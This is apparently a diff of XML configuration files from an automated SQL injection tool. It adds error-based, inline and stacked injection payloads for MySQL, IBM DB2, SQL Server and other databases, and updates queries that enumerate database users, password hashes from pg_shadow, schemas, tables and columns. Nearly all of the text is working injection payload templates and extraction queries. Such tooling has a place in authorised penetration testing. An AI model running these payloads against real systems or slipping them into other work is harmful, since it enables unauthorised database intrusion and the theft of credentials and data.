<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- Works in MySQL, Oracle, etc. -->
<test>
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1474,7 +1507,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
+190 -20
View File
@@ -91,6 +91,46 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype>
@@ -404,7 +444,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -425,7 +464,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -446,7 +484,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -467,7 +504,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -488,7 +524,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -509,7 +544,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -672,7 +706,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -689,9 +723,9 @@
<test>
<title>Firebird OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -710,7 +744,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -727,9 +761,9 @@
<test>
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -748,7 +782,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,8,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
@@ -765,9 +799,9 @@
<test>
<title>Vertica OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
@@ -780,6 +814,45 @@
<dbms>Vertica</dbms>
</details>
</test>
<test>
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time
@@ -853,6 +926,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
<stype>2</stype>
@@ -1000,7 +1093,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1021,7 +1113,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1062,6 +1153,25 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>IBM DB2 error-based - Parameter replace</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,3</clause>
<where>3</where>
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- End of error-based tests - Parameter replace -->
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1105,6 +1215,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype>
@@ -1205,7 +1335,6 @@
</details>
</test>
<test>
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
<stype>2</stype>
@@ -1261,7 +1390,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1289,7 +1417,7 @@
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request>
@@ -1302,9 +1430,51 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>IBM DB2 error-based - ORDER BY clause</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access
and SAP MaxDB - no known techniques at this time
-->
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
<!-- Error-based tests - stacking -->
<test>
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
<request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
<comment>--</comment>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<!-- End of error-based tests - stacking -->
</root>
+23 -12
View File
@@ -3,19 +3,31 @@
<root>
<!-- Inline queries tests -->
<test>
<title>MySQL inline queries</title>
<title>Generic inline queries</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
</test>
<test>
<title>MySQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<!-- These work as good as ELT(), but are longer
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-->
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
<test>
<title>PostgreSQL inline queries</title>
<stype>3</stype>
<level>1</level>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
@@ -47,13 +59,13 @@
<test>
<title>Microsoft SQL Server/Sybase inline queries</title>
<stype>3</stype>
<level>1</level>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -61,7 +73,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -75,7 +86,7 @@
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request>
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -94,7 +105,7 @@
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
-4
View File
@@ -264,7 +264,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -286,7 +285,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -307,7 +305,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -328,7 +325,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
-8
View File
@@ -588,7 +588,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -610,7 +609,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -631,7 +629,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -652,7 +649,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -674,7 +670,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -696,7 +691,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1638,7 +1632,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1936,7 +1929,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
+356 -64
View File
@@ -1,7 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- MySQL -->
<dbms value="MySQL">
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
<cast query="CAST(%s AS NCHAR)"/>
@@ -30,8 +29,8 @@
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
<users>
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
</users>
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
<!-- https://stackoverflow.com/a/31122246 -->
@@ -45,7 +44,7 @@
</privileges>
<roles/>
<statements>
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST"/>
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
</statements>
<dbs>
@@ -78,11 +77,11 @@
</search_column>
</dbms>
<!-- PostgreSQL -->
<dbms value="PostgreSQL">
<cast query="CAST(%s AS CHARACTER(10000))"/>
<cast query="CAST(%s AS VARCHAR(10000))"/>
<length query="LENGTH(%s)"/>
<isnull query="COALESCE(%s,' ')"/>
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
<isnull query="COALESCE(%s::text,' ')"/>
<delimiter query="||"/>
<limit query="OFFSET %d LIMIT %d"/>
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
@@ -108,7 +107,7 @@
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
<users>
<inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
</users>
<passwords>
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
@@ -125,35 +124,34 @@
</statements>
<dbs>
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
</dbs>
<tables>
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables>
<columns>
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
</dump_table>
<search_db>
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" condition="schemaname"/>
</search_db>
<search_table>
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
</search_table>
<search_column>
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column>
</dbms>
<!-- Microsoft SQL Server -->
<dbms value="Microsoft SQL Server">
<cast query="CAST(%s AS NVARCHAR(4000))"/>
<length query="LTRIM(STR(LEN(%s)))"/>
@@ -200,11 +198,11 @@
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs>
<tables>
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
